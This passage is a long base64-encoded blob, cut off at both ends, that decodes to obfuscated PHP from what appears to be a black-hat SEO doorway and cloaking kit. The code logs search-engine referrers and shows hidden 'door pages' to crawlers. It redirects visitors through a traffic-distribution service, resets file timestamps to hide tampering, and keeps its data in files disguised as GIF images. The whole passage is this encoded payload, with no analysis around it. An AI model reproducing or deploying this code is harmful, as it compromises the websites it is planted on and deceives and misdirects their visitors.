4aXN0cyIpO3JldHVybiBmYWxzZTt9aWYoJHYyMDNbJ2lzZ2VuJ10hPTAxKXskdGhpcy0+djEyLT50NCgicGFnZSBub3QgcGhhbnRvbSIpO3JldHVybiBmYWxzZTt9JHY3MD10cmltKCR2NzApO2lmKGVtcHR5KCR2NzApKXskdGhpcy0+djEyLT50NCgicmVmIGlzIGVtcHR5Iik7cmV0dXJuIGZhbHNlO31pZigkdGhpcy0+djI3MC0+dDE0MigkdjcwKSl7JHRoaXMtPnYxMi0+dDQoInNlcnAgcmVmLiBkZXRlY3QgYXMgTk9UIGJvdCIpO3JldHVybiBmYWxzZTt9cmV0dXJuIHRydWU7fX1jbGFzcyBfX19DXzM1e3ByaXZhdGUkdjIyNDtwcml2YXRlJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjk0KXskdGhpcy0+djIyND0kdjk0OyR0aGlzLT52MTI9X19fQ182Ojp0MygnYl9yZXF1ZXN0X2xvZycpO31mdW5jdGlvbiB0MTA3KCl7cmV0dXJuJHRoaXMtPnYyMjQ7fWZ1bmN0aW9uIHQxODQoJHYyMSl7JHRoaXMtPnYxMi0+dDQoJ3JlZ2lzdGVyIHRvIHNlcnAgcmVxdWVzdCBsb2cnKTskdjMyMz1kaXJuYW1lKCR0aGlzLT52MjI0KTskdjMyND1maWxlbXRpbWUoJHYzMjMpOyR2MzI1PUBmaWxlbXRpbWUoJHRoaXMtPnYyMjQpO2lmKCEkdjMyNSkkdjMyNT10aW1lKCktKDA3MDIwKjAzMCowMzYqMDMpOyR2MzI2PWZvcGVuKCR0aGlzLT52MjI0LCdhYicpO2lmKCR2MzI2KXtpZihAZmxvY2soJHYzMjYsMDIpKXskdjU0PSR0aGlzLT50MTg1KCR2MjEpO2lmKCFmd3JpdGUoJHYzMjYsJHY1NCkpJHRoaXMtPnYxMi0+dDkoJ2Nhbm5vdCB3cml0ZSBmaWxlOiB7MH0nLCR0aGlzLT52MjI0KTt9ZWxzZXskdGhpcy0+djEyLT50OSgnY2Fubm90IGxvY2sgZmlsZTogezB9JywkdGhpcy0+djIyNCk7fUBmbG9jaygkdjMyNiwwMyk7QGZjbG9zZSgkdjMyNik7fWVsc2V7JHRoaXMtPnYxMi0+dDkoJ2Nhbm5vdCBvcGVuIGZpbGU6IHswfScsJHRoaXMtPnYyMjQpO31AdG91Y2goJHRoaXMtPnYyMjQsJHYzMjUsJHYzMjUpO0B0b3VjaCgkdjMyMywkdjMyNCwkdjMyNCk7fWZ1bmN0aW9uIHQxMTAoKXtpZihmaWxlX2V4aXN0cygkdGhpcy0+djIyNCkpeyR2MzIzPWRpcm5hbWUoJHRoaXMtPnYyMjQpOyR2MzI0PWZpbGVtdGltZSgkdjMyMyk7aWYoIUB1bmxpbmsoJHRoaXMtPnYyMjQpKXRocm93IG5ldyBfX19DXzAoImNhbm5vdCBkZWxldGUgc2VycCByZXF1ZXN0IGxvZyBmaWxlOiAiLiR0aGlzLT52MjI0KTtAdG91Y2goJHYzMjMsJHYzMjQsJHYzMjQpO319cHJpdmF0ZSBmdW5jdGlvbiB0MTg1KCR2MjEpeyR2MzIyPSR2MjEtPnQxNSgpOyR2OTM9JHYzMjItPnQxNigpOyR2MTc1PSR2MjEtPnQxNygpOyR2NzA9JHYyMS0+dDQ4KCk7JHYyODY9JHYyMS0+dDQ2KCk7JHY1ND1hcnJheSh0aW1lKCksJHY5MywkdjE3NSwkdjcwLCR2Mjg2KTskdjUzPWpzb25fZW5jb2RlKCR2NTQpOyR2MzE3PWd6ZGVmbGF0ZSgkdjUzLDAxMSk7JHYzMjc9X19fQ180MTo6dDgwKHN0cmxlbigkdjMxNyksMDIpOyR2MzI4PSchISEnLiR2MzI3LiR2MzE3O3JldHVybiR2MzI4O319Y2xhc3MgX19fQ18zNHtwcml2YXRlJHYzMjk7cHJpdmF0ZSR2MjcwO3ByaXZhdGUkdjMyMTtwcml2YXRlJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjExMiwkdjIwMSwkdjI3Mil7JHRoaXMtPnYzMjk9JHYxMTI7JHRoaXMtPnYzMjE9JHYyMDE7JHRoaXMtPnYyNzA9JHYyNzI7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCJzZXJwLXJlcXVlc3QtcmVnIik7fWZ1bmN0aW9uIHQ0MCgkdjIxKXtpZigkdGhpcy0+dDE4NigkdjIxKSl7JHRoaXMtPnYxMi0+dDQoJ3JlZ2lzdGVyIHJlcXVlc3QnKTskdGhpcy0+djMyOS0+dDE4NCgkdjIxKTt9ZWxzZXskdGhpcy0+djEyLT50NCgnc2VycCByZXF1ZXN0IG5vdCBkZXRlY3RlZCcpO319ZnVuY3Rpb24gdDE4NigkdjIxKXskdjMyMj0kdjIxLT50MTUoKTskdjcwPSR2MjEtPnQ0OCgpOyR2MjAzPSR0aGlzLT52MzIxLT50MTQ1KCR2MzIyKTtpZigkdjIwMyE9PWZhbHNlKXtpZigkdjIwM1snaXNnZW4nXT09MDEpeyR0aGlzLT52MTItPnQxNTIoInBhZ2UgaXMgcGhhbnRvbSIpO2lmKGVtcHR5KCR2NzApKXskdGhpcy0+djEyLT50NCgicmVmIGlzIGVtcHR5Iik7cmV0dXJuIGZhbHNlO30kdjczPUBwYXJzZV91cmwoJHY3MCk7aWYoIV9fX0NfNDE6OnQ3MigkdjczKSl7JHRoaXMtPnYxMi0+dDQoInJlZiBpcyBub3QgdXJsIik7cmV0dXJuIGZhbHNlO30kdjMzMD1zdHJfcmVwbGFjZSgnd3d3LicsJycsc3RydG9sb3dlcigkdjczWydob3N0J10pKTskdjMzMT0kdjMyMi0+dDYwKCk7aWYoJHYzMzE9PSR2MzMwKXskdGhpcy0+djEyLT50NCgicmVmIGlzIGZyb20gb3JpZ2luIHNpdGUuIGRldGVjdCBhcyBib3QiKTtyZXR1cm4gdHJ1ZTt9cmV0dXJuIGZhbHNlO319ZWxzZXskdGhpcy0+djEyLT50MTUyKCdwYWdlIG5vdCByZWdpc3RlcmVkIGluIHBhZ2UgZGInKTt9cmV0dXJuIGZhbHNlO319Y2xhc3MgX19fQ18yMntwcml2YXRlJHYxMTtwcml2YXRlJHYxOTQ7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYyMSwkdjExMCwkdjYzKXskdGhpcy0+djE5ND0kdjIxOyR0aGlzLT52MTE9JHYxMTA7QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywwMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywwMSk7aWYoJHY2Myl7d2hpbGUob2JfZ2V0X2xldmVsKCk+MDApQG9iX2VuZF9jbGVhbigpO0BvYl9pbXBsaWNpdF9mbHVzaCgpO319ZnVuY3Rpb24gdDE4NygkdjMzMil7JHY1ND1hcnJheSgnZnVsbGtleSc9PiR2MzMyWydxdWVyeSddLCdxdWVyeSc9PiR2MzMyWydxdWVyeSddKTskdjU0WydyZWZlcmVyJ109JHRoaXMtPnYxOTQtPnQ0OCgpOyR2MjAxPSR0aGlzLT52MTEtPnQ1OSgpOyR2MjAzPSR2MjAxLT50MTQ1KCR0aGlzLT52MTk0LT50MTUoKSk7JHY1NFsna2V5cm9vdCddPSR2MjAzWydyb290J107JHYyNzI9bmV3IF9fX0NfMTEoKTskdjE5Nj0kdjI3Mi0+dDE0MygkdGhpcy0+djE5NC0+dDQ4KCkpOyR2NTRbJ3NlJ109JHYxOTY7JHYxNDI9c2VyaWFsaXplKCR2NTQpOyR2ODc9YmFzZTY0X2VuY29kZShnemRlZmxhdGUoJHYxNDIsMDExKSk7QHNldGNvb2tpZSgnX19fY19jX3RyX2RhdGEnLCR2ODcsKHRpbWUoKSswNzQqMDc0KjAzMCksJy8nKTt9ZnVuY3Rpb24gdDE4OCgkdjMzMywkdjMzNCl7QGhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIG1heC1hZ2U9MCcpO2lmKGlzc2V0KCR2MzMzWyd0eXBlJ10pJiYkdjMzM1sndHlwZSddIT0naHRtbCcpeyR2MzM1PSdhcHBsaWNhdGlvbi8nLiR2MzMzWyd0eXBlJ107QGhlYWRlcignQ29udGVudC1UeXBlOiAnLiR2MzM1KTtfX19DXzU6OnQyNSgpOyR2MzM2PSR2MzMzWyd0cGwnXTt9ZWxzZXskdjMzNj0kdjMzM1sndHBsJ107aWYoIXN0cmlzdHIoJHYzMzYsJzwvYm9keT4nKSl7JHYzMzYuPSI8L2JvZHk+XG48L2h0bWw+Ijt9JHYzMzc9JHRoaXMtPnQxODkoKTskdjMzNj1wcmVnX3JlcGxhY2UoJy88XC9ib2R5Pi9zaScsIjxiciBkYXRhLXNpZ249JyIuJHYzMzcuIicvPlxuPC9ib2R5PiIsJHYzMzYpO19fX0NfNTo6dDI1KCk7aWYoJHYzMzQpJHYzMzY9JHRoaXMtPnQxOTAoJHYzMzYpO31wcmludCgkdjMzNik7fWZ1bmN0aW9uIHQxOTEoJHYzMzYsJHYzMzQpe2lmKCR2MzM0KSR2MzM2PSR0aGlzLT50MTkwKCR2MzM2KTtAaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wJyk7cHJpbnQoJHYzMzYpO31mdW5jdGlvbiB0MzMoJHY5Myl7aGVhZGVyKCJMb2NhdGlvbjogIi4kdjkzLHRydWUsMDQ2Myk7fWZ1bmN0aW9uIHQxNDgoJHY5Myl7aWYoIWhlYWRlcnNfc2VudCgpKXtoZWFkZXIoIkxvY2F0aW9uOiAiLiR2OTMsdHJ1ZSwwNDYzKTt9ZWxzZXskdjM9IjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0iLiR2OTMuIic+PC9oZWFkPjxib2R5PjwvYm9keT48L2h0bWw+IjskdjMuPSI8c2NyaXB0PmxvY2F0aW9uLnJlcGxhY2UoJyIuJHY5My4iJyk7PC9zY3JpcHQ+IjtwcmludCgkdjMpO0BmbHVzaCgpO0BvYl9mbHVzaCgpO319ZnVuY3Rpb24gdDE5MCgmJHYzMzYpeyR2MzM2PSc8YmVnaW4+Jy4kdjMzNi4nPGVuZD4nO3JldHVybiR2MzM2O31mdW5jdGlvbiB0MTg5KCl7JHYxNzU9JHRoaXMtPnYxOTQtPnQxNygpOyR2Mjg2PSR0aGlzLT52MTk0LT50NDYoKTskdjMzOD0kdGhpcy0+djE5NC0+dDQ4KCk7JHYzMzc9JHYxNzUuInwiLiR2Mjg2LiJ8Ii4kdjMzOC4ifCIudGltZSgpOyR2MzM5PWJhc2U2NF9lbmNvZGUoZ3pjb21wcmVzcygkdjMzNywwMTEpKTskdjMzOT1zdHJfcm90MTMoJHYzMzkpOyR2MzM5PXN0cnJldigkdjMzOSk7JHYzMzk9YmFzZTY0X2VuY29kZShnemNvbXByZXNzKCR2MzM5LDAxMSkpOyR2MzM5PXN0cl9yb3QxMygkdjMzOSk7cmV0dXJuJHYzMzk7fX1jbGFzcyBfX19DXzE5e3ByaXZhdGUkdjExO3ByaXZhdGUkdjEyO3ByaXZhdGUkdjM0MD1hcnJheSgpO3ByaXZhdGUkdjM0MTtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjExMCl7JHRoaXMtPnYxMT0kdjExMDskdGhpcy0+djEyPV9fX0NfNjo6dDMoJ3Byb2NjZXNzb3ItYm90Jyk7fWZ1bmN0aW9uIHQzNygkdjMyMiwkdjM0Mil7JHRoaXMtPnYzNDE9JHYzNDI7JHRoaXMtPnYxMi0+dDQoImJvdCBkZXRlY3RlZC4gcHJvY2Nlc3MgYm90Iik7JHYyNjA9JHRoaXMtPnYxMS0+dDU5KCk7JHYzNDM9JHYyNjAtPnQxOTIoJHYzMjIpO2lmKCR2MzQzIT09ZmFsc2UpeyR0aGlzLT52MTItPnQ0KCJkb29yIHBhZ2UgcmVuZGVyZWQiKTtpZighJHYzNDIpeyR2MTI5PSR0aGlzLT52MTEtPnQ2MSgpOyR2MzQ0PSR0aGlzLT52MTEtPnQ1KCktPnQ3KCk7JHYxMjktPnQxODgoJHYzNDMsJHYzNDQpO31yZXR1cm4gdHJ1ZTt9ZWxzZXskdGhpcy0+djEyLT50NCgiZG9vciBwYWdlIG5vdCBleGlzdHMgZm9yIHVybCIpOyR0aGlzLT50MTkzKCk7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gdDE5MygpeyR2Mzc9JHRoaXMtPnYxMS0+dDMwKCk7aWYoJHYzNy0+dDMxKCdib3QucGFnZV9saW5rcy5lbmFibGVkJykpeyR0aGlzLT52MTItPnQ0KCJyZW5kZXIgcGFnZSBsaW5raW5nIik7JHYzNDU9JHRoaXMtPnYxMS0+dDYyKCk7bGlzdCgkdjM0NiwkdjM0Nyk9JHYzNy0+dDMxKCdib3QucGFnZV9saW5rcy5jb3VudF9wZXJfcGFnZScpOyR2MzQ4PSR2MzQ1LT50MTk0KCR2MzQ2LCR2MzQ3KTskdjM0OT1hcnJheSgpO2ZvcmVhY2goJHYzNDggYXMkdjM1MCl7JHYzNDlbXT1hcnJheSgndXJsJz0+JHYzNTBbMDFdLCd0ZXh0Jz0+JHYzNTBbMDBdKTt9JHRoaXMtPnYzNDA9JHYzNDk7aWYoISR0aGlzLT52MzQxKXtfX19DXzU6OnQyNSgpO29iX3N0YXJ0KGFycmF5KCR0aGlzLCdfb25FeGl0JykpO319ZWxzZXskdGhpcy0+djEyLT50NCgicGFnZSBsaW5raW5nIGRpc2FibGVkIik7fX1mdW5jdGlvbiBfb25FeGl0KCl7JHYzMz1vYl9nZXRfY29udGVudHMoKTskdjM1MT0kdGhpcy0+djExLT50NzEoKTskdjM3PSR0aGlzLT52MTEtPnQzMCgpOyR2MzE9JHYzNy0+dDQzKCdib3QucGFnZV9saW5rcy5zdHJhdGVneScsJ0JlZm9yZUVuZEJvZHknKTskdjM1Mj1leHBsb2RlKCctPicsJHYzMSk7JHYzNTM9YXJyYXkoKTtmb3JlYWNoKCR2MzUyIGFzJHYzNTQpe2lmKHByZWdfbWF0Y2goJy8oXHcrKVwoKFteKV0rKVwpL3NpJywkdjM1NCwkdjE5MikpeyR2Nzk9JHYxOTJbMDFdOyR2MzUzW109YXJyYXkoJ2NtZCc9PiR2MTkyWzAxXSwncGFyYW0nPT4kdjE5MlswMl0pO31lbHNleyR2MzUzW109YXJyYXkoJ2NtZCc9PiR2MzU0KTt9fWZvcmVhY2goJHYzNTMgYXMkdjM1NSl7JHYxMTE9c3RydG9sb3dlcigkdjM1NVsnY21kJ10pOyR2MzM2PSR2MzM7c3dpdGNoKCR2MTExKXtjYXNlICdhZnRlcmJvZHknOiR2MzM2PSR2MzUxLT50MTk1KCR2MzM2LCR0aGlzLT52MzQwKTticmVhaztjYXNlICdiZWZvcmVlbmRib2R5JzokdjMzNj0kdjM1MS0+dDE5NigkdjMzNiwkdGhpcy0+djM0MCk7YnJlYWs7Y2FzZSAncmVwbGFjZWZpcnN0bGlua3MnOiR2MzM2PSR2MzUxLT50MTk3KCR2MzM2LCR0aGlzLT52MzQwLCR2MzU1WydwYXJhbSddKTticmVhaztjYXNlICdyZXBsYWNlbGFzdGxpbmtzJzokdjMzNj0kdjM1MS0+dDE5OCgkdjMzNiwkdGhpcy0+djM0MCk7YnJlYWs7Y2FzZSAnaW5zZXJ0aW5wYXJlbmQnOiR2MzM2PSR2MzUxLT50MTk5KCR2MzM2LCR0aGlzLT52MzQwLCR2MzU1WydwYXJhbSddKTticmVhaztjYXNlICdhcHBlbmR0b2VuZCc6JHYzMzY9JHYzNTEtPnQyMDAoJHYzMzYsJHRoaXMtPnYzNDApO2JyZWFrO31pZigkdjMzNiE9ZmFsc2UpYnJlYWs7fXJldHVybiR2MzM2O319Y2xhc3MgX19fQ18yMHtwcml2YXRlJHYxMTtwcml2YXRlJHYxMjtwcml2YXRlJHYzNTY7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYxMTAsJHYzNTcpeyR0aGlzLT52MTE9JHYxMTA7JHRoaXMtPnYzNTY9JHYzNTc7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdwcm9jY2Vzc29yLXVzZXInKTt9ZnVuY3Rpb24gdDM3KCR2MzIyLCR2MzQyKXskdGhpcy0+djEyLT50NCgiYm90IG5vdCBkZXRlY3RlZC4gcHJvY2Nlc3MgdXNlciIpO2lmKCR0aGlzLT52MzU2LT50MTMxKCkpe3JldHVybiBmYWxzZTt9JHYzNTg9JHRoaXMtPnYxMS0+dDY2KCk7aWYoISR2MzU4LT50MTY2KCkpeyR0aGlzLT52MTItPnQ0KCJwYWdlIGlzIG5vdCByb3V0YWJsZSIpOyR0aGlzLT52MzU2LT50MTMyKCk7cmV0dXJuIGZhbHNlO30kdjM1OT0kdGhpcy0+djExLT50NjMoKTskdjMzMj0kdjM1OS0+dDIwMSgkdjMyMik7aWYoJHYzMzIhPT1mYWxzZSl7JHRoaXMtPnYxMi0+dDQoInVzZXIgaXMgZnJvbSBzZXJwLiBxdWVyeTogJ3swfSciLCR2MzMyWydxdWVyeSddKTskdjM3PSR0aGlzLT52MTEtPnQzMCgpOyR2MzYwPSR2MzctPnQzMSgnZG9yMi5lbmFibGVkJyxmYWxzZSk7aWYoJHYzNjApeyR2MzYxPSR2MzctPnQzMSgnZG9yMi5mb3JjZV9zaG93X2RvcicsZmFsc2UpO2lmKCR2MzYxKXskdGhpcy0+djEyLT50NCgiZm9yY2Ugc2hvdyBkb3JwYWdlIChjb25maWcpIik7cmV0dXJuJHRoaXMtPnQyMDIoJHYzMjIsJHYzNDIsJHYzMzIpO319dHJ5eyR2MjYyPSR2MzU4LT50MTY3KCR2MzMyWydxdWVyeSddLGFycmF5KCdmdWxsa2V5Jz0+JHYzMzJbJ3F1ZXJ5J10sJ3F1ZXJ5Jz0+JHYzMzJbJ3F1ZXJ5J10pKTtpZigkdjM2MCl7aWYoaXNzZXQoJHYyNjJbJ2V4dHBhcmFtcyddWydkb3IyJ10pKXskdGhpcy0+djEyLT50NCgiZm9yY2Ugc2hvdyBkb3JwYWdlICh0ZHMpIik7cmV0dXJuJHRoaXMtPnQyMDIoJHYzMjIsJHYzNDIsJHYzMzIpO319fWNhdGNoKF9fX0NfNCR2MzYyKXskdGhpcy0+djEyLT50NCgiZXhpdCByZXNvbHZlIGVycm9yLiByZWRpcmVjdCB0bzogJ3swfSciLCR2MzYyLT52Nyk7JHRoaXMtPnYzNTYtPnQxMzIoKTtpZighJHYzNDIpe19fX0NfNTo6dDI1KCk7JHRoaXMtPnYxMS0+dDYxKCktPnQxNDgoJHYzNjItPnY3KTt9cmV0dXJuIHRydWU7fWlmKCEkdjI2Mil7JHRoaXMtPnYxMi0+dDQoInF1ZXJ5IGlzIG5vdCByb3V0YWJsZSIpOyR0aGlzLT52MzU2LT50MTMyKCk7cmV0dXJuIGZhbHNlO30kdGhpcy0+dDIwMygkdjI2MiwkdjMzMiwkdjM0Mik7cmV0dXJuIHRydWU7fWVsc2UgJHRoaXMtPnYxMi0+dDQoInVzZXIgaXMgbm90IGZyb20gc2VycCIpOyR0aGlzLT52MzU2LT50MTMyKCk7cmV0dXJuIGZhbHNlO31wcml2YXRlIGZ1bmN0aW9uIHQyMDIoJHYzMjIsJHYzNDIsJHYzMzI9ZmFsc2UpeyR0aGlzLT52MzQxPSR2MzQyOyR2MjYwPSR0aGlzLT52MTEtPnQ1OSgpOyR2MzQzPSR2MjYwLT50MjA0KCR2MzIyLCR2MzMyKTtpZigkdjM0MyE9PWZhbHNlKXskdGhpcy0+djEyLT50NCgiZG9vciBwYWdlIHJlbmRlcmVkIik7aWYoISR2MzQyKXskdjEyOT0kdGhpcy0+djExLT50NjEoKTskdjM0ND0kdGhpcy0+djExLT50NSgpLT50NygpO2lmKCR2MzMyKXskdjEyOS0+dDE4NygkdjMzMik7fSR2MTI5LT50MTg4KCR2MzQzLCR2MzQ0KTt9cmV0dXJuIHRydWU7fXJldHVybiBmYWxzZTt9cHJpdmF0ZSBmdW5jdGlvbiB0MjAzKCR2MjYyLCR2MzMyLCR2MzQyKXskdjEyOT0kdGhpcy0+djExLT50NjEoKTskdjM3PSR0aGlzLT52MTEtPnQzMCgpOyR2MzI9JHYyNjJbJ3VybCddOyR2MzYzPXRydWU7JHYxNDg9JHYyNjJbJ2V4dHBhcmFtcyddO2lmKGlzc2V0KCR2MTQ4WydzaG9wLm5vY2FjaGUnXSkpeyR0aGlzLT52MTItPnQ0KCJubyBjYWNoZSBzdHJhdGVneSIpOyR2MzYzPWZhbHNlO30kdjM2ND0kdGhpcy0+djExLT50NjgoKTskdjM2NT0kdjM2NC0+dDE0MSgkdjMyKTtpZigkdjI2MlsnZXhpdCddPT0nc2hvcCcpe3RyeXskdGhpcy0+djEyLT50NCgiZ2V0IG91dCBwYWdlOiAnezB9JyIsJHYzMik7JHYzNjY9JHRoaXMtPnYxMS0+dDY3KCk7JHYzNDM9JHYzNjYtPnQyMDUoJHYzMiwkdjM2MywkdjI2MlsnZXh0cGFyYW1zJ10pOyR0aGlzLT52MTItPnQ0KCdwYWdlIGlzIGxvYWRlZCcpO2lmKCEkdjM0Mil7X19fQ181Ojp0MjUoKTskdjM0ND0kdGhpcy0+djExLT50NSgpLT50NygpOyR2MTI5LT50MTkxKCR2MzQzLCR2MzQ0KTt9fWNhdGNoKF9fX0NfMCR2MjMpeyR0aGlzLT52MTItPnQ5KCdlcnJvciB7MH0uIHJlZGlyZWN0IHRvIGV4aXQ6IHsxfScsJHYyMy0+Z2V0TWVzc2FnZSgpLCR2MzY1KTtpZighJHYzNDIpe19fX0NfNTo6dDI1KCk7JHYxMjktPnQxNDgoJHYzNjUpO319fWVsc2V7JHRoaXMtPnYxMi0+dDQoJ2V4aXQgdHlwZTogZGlyZWN0LiByZWRpcmVjdCB0byBleGl0IHswfScsJHYzNjUpO2lmKCEkdjM0Mil7X19fQ181Ojp0MjUoKTskdjEyOS0+dDE0OCgkdjM2NSk7fX19fWNsYXNzIF9fX0NfMjR7cHJpdmF0ZSR2NTk7cHJpdmF0ZSR2MzY3O3ByaXZhdGUkdjM2OD0tMDE7cHJpdmF0ZSR2MzY5O3ByaXZhdGUkdjM3MDtwcml2YXRlJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjYwLCR2MzcxKXskdGhpcy0+djU5PXJ0cmltKCR2NjAsIlxcLyIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7JHRoaXMtPnYzNjk9JHYzNzE7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdjcGFnZS1wcm92aWRlcicpO31mdW5jdGlvbiB0MTQ1KCR2MzIyKXtpZigkdGhpcy0+djM2OD09LTAxKXskdGhpcy0+djEyLT50MTE5KCdsb2FkIHBhZ2UgbWV0YScpOyR0aGlzLT50MjA2KCR2MzIyKTtpZigkdGhpcy0+djM2Nz09ZmFsc2UpeyR0aGlzLT52MTItPnQxMTkoJ2RiIHJlYWRlciBub3QgaW5pdCcpO3JldHVybiBmYWxzZTt9JHRoaXMtPnYzNjg9JHRoaXMtPnYzNjctPnQxNDUoJHYzMjIpO31yZXR1cm4kdGhpcy0+djM2ODt9ZnVuY3Rpb24gdDIwNygkdjMyMil7JHRoaXMtPnYxMi0+dDExOSgnbG9hZCBwYWdlJyk7JHRoaXMtPnQyMDYoJHYzMjIpO2lmKCR0aGlzLT52MzY3PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHYzMzM9JHRoaXMtPnYzNjctPnQyMDcoKTtpZigkdjMzMz09ZmFsc2UpcmV0dXJuIGZhbHNlO2lmKGlzc2V0KCR2MzMzWydiaW4nXSkmJiR2MzMzWydiaW4nXT09JzEnKXtyZXR1cm4kdjMzMzt9JHYzMzNbJ3RwbCddPSR0aGlzLT52MzY5LT50MjA4KCR0aGlzLT52MzcwLCR2MzMzKTtyZXR1cm4kdjMzMzt9ZnVuY3Rpb24gdDE5MigkdjMyMil7JHYzNDM9JHRoaXMtPnQyMDcoJHYzMjIpO2lmKCR2MzQzPT1mYWxzZSlyZXR1cm4gZmFsc2U7JHYzNDNbJ3RwbCddPXByZWdfcmVwbGFjZSgnJTwhLS1ccypmb3JfdXNlclxzKi0tPi4rPzwhLS1ccyovZm9yX3VzZXJccyotLT4lc2knLCcnLCR2MzQzWyd0cGwnXSk7JHYzNDNbJ3RwbCddPXByZWdfcmVwbGFjZSgnJTwhLS1ccyovP2Zvcl8odXNlcnxib3QpXHMqLS0+JXNpJywnJywkdjM0M1sndHBsJ10pOyR2MzQzWyd0cGwnXT0kdGhpcy0+dDIwOSgkdjMyMiwkdjM0M1sndHBsJ10pO3JldHVybiR2MzQzO31mdW5jdGlvbiB0MjA0KCR2MzIyKXskdjM0Mz0kdGhpcy0+dDIwNygkdjMyMik7aWYoJHYzNDM9PWZhbHNlKXJldHVybiBmYWxzZTskdjM0M1sndHBsJ109cHJlZ19yZXBsYWNlKCclPCEtLVxzKmZvcl9ib3RccyotLT4uKz88IS0tXHMqL2Zvcl9ib3RccyotLT4lc2knLCcnLCR2MzQzWyd0cGwnXSk7JHYzNDNbJ3RwbCddPXByZWdfcmVwbGFjZSgnJTwhLS1ccyovP2Zvcl8odXNlcnxib3QpXHMqLS0+JXNpJywnJywkdjM0M1sndHBsJ10pOyR2MzQzWyd0cGwnXT0kdGhpcy0+dDIwOSgkdjMyMiwkdjM0M1sndHBsJ10pO3JldHVybiR2MzQzO31mdW5jdGlvbiB0MjA5KCR2MzIyLCR2MzQzKXskdjE2ND1fX19DXzQxOjp0ODEoKTskdjM3Mj0nYXV0aF90b2tlbl9pZD0nLiR2MTY0OyR2MzczPSR2MzIyLT50MTYoKTskdjczPXBhcnNlX3VybCgkdjMyMi0+dDE2KCkpOyR2MzI9JHY3M1snc2NoZW1lJ10uJzovLycuJHY3M1snaG9zdCddLiR2NzNbJ3BhdGgnXTtpZihpc3NldCgkdjczWydxdWVyeSddKSl7JHYzMi49Jz8nLiR2NzNbJ3F1ZXJ5J10uJyYnLiR2MzcyO31lbHNleyR2MzIuPSc/Jy4kdjM3Mjt9JHYzNDM9c3RyX3JlcGxhY2UoJ3tleGl0X3VybH0nLCR2MzIsJHYzNDMpO3JldHVybiR2MzQzO31mdW5jdGlvbiB0MjA2KCR2MzIyKXtpZigkdGhpcy0+djM2Nz09bnVsbCl7JHRoaXMtPnYzNzA9JHYzMjItPnQ4MigpOyR2NTc9JHRoaXMtPnY1OS4kdGhpcy0+dDIxMCgkdGhpcy0+djM3MCk7JHRoaXMtPnYxMi0+dDExOSgiZGIgZmlsZSBzZWxlY3RlZCAnezB9JywgaGFzaCAnezF9JyIsJHY1NywkdGhpcy0+djM3MCk7JHRoaXMtPnYzNjc9bmV3IF9fX0NfNDUoJHY1NywkdGhpcy0+djM3MCk7fX1mdW5jdGlvbiB0MjEwKCR2MTAxKXskdjExMz0kdjEwMVswMF07JHYzNzQ9JHYxMDFbMDFdO2lmKHByZWdfbWF0Y2goJy9eWzAxMjM0NTY3XSQvJywkdjM3NCkpeyR2Mzc1PScxJzt9ZWxzZXskdjM3NT0nMic7fSR2MTEzLj0kdjM3NTskdjU3PSdhbmltYXRpb25fJy4kdjExMy4nLmdpZic7cmV0dXJuJHY1Nzt9fWNsYXNzIF9fX0NfNDV7cHJpdmF0ZSR2MjI0O3ByaXZhdGUkdjM3Njtwcml2YXRlJHYzNzc7cHJpdmF0ZSR2MTI7cHJpdmF0ZSR2MjI2PWZhbHNlO3ByaXZhdGUkdjkwO2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2OTQsJHYxMDEpeyR0aGlzLT52MTI9X19fQ182Ojp0MygnY3BhZ2UtZGInKTskdGhpcy0+djIyND0kdjk0OyR0aGlzLT52OTA9J18nLiR2MTAxO31mdW5jdGlvbiB0MTQ1KCR2MzIyKXt0cnl7aWYoISR0aGlzLT50MTc4KCkpcmV0dXJuIGZhbHNlOyR2Mjg4PSR0aGlzLT50MTgwKDAwKTtpZigkdjI4OD09ZmFsc2UpcmV0dXJuIGZhbHNlO2lmKGFycmF5X2tleV9leGlzdHMoJ3V0ZjgnLCR2Mjg4KSl7JHYyODhbJ2tleSddPWJhc2U2NF9kZWNvZGUoJHYyODhbJ2tleSddKTskdjI4OFsncm9vdCddPWJhc2U2NF9kZWNvZGUoJHYyODhbJ3Jvb3QnXSk7fXJldHVybiR2Mjg4O31jYXRjaChFeGNlcHRpb24kdjIzKXt0aHJvdyAkdjIzO31yZXR1cm4kdjI4ODt9ZnVuY3Rpb24gdDIwNygpe3RyeXtpZighJHRoaXMtPnQxNzgoKSlyZXR1cm4gZmFsc2U7JHYzMzM9JHRoaXMtPnQxODAoMDEpO2lmKCR2MzMzPT1mYWxzZSlyZXR1cm4gZmFsc2U7aWYoYXJyYXlfa2V5X2V4aXN0cygndXRmOCcsJHYzMzMpKXskdjMzM1sndHBsJ109YmFzZTY0X2RlY29kZSgkdjMzM1sndHBsJ10pO2ZvcmVhY2goJHYzMzNbJ2Z1dHVyZSddIGFzJHY4MD0+JiR2Nil7Zm9yKCR2NT0wMDskdjU8Y291bnQoJHY2KTskdjUrKyl7JHY2WyR2NV09YmFzZTY0X2RlY29kZSgkdjZbJHY1XSk7fXVuc2V0KCR2Nik7fX1yZXR1cm4kdjMzMzt9Y2F0Y2goRXhjZXB0aW9uJHYyMyl7dGhyb3cgJHYyMzt9fXByaXZhdGUgZnVuY3Rpb24gdDE3OCgpe2lmKCR0aGlzLT52MjI2IT09ZmFsc2UpcmV0dXJuIHRydWU7JHRoaXMtPnYxMi0+dDExOSgib3B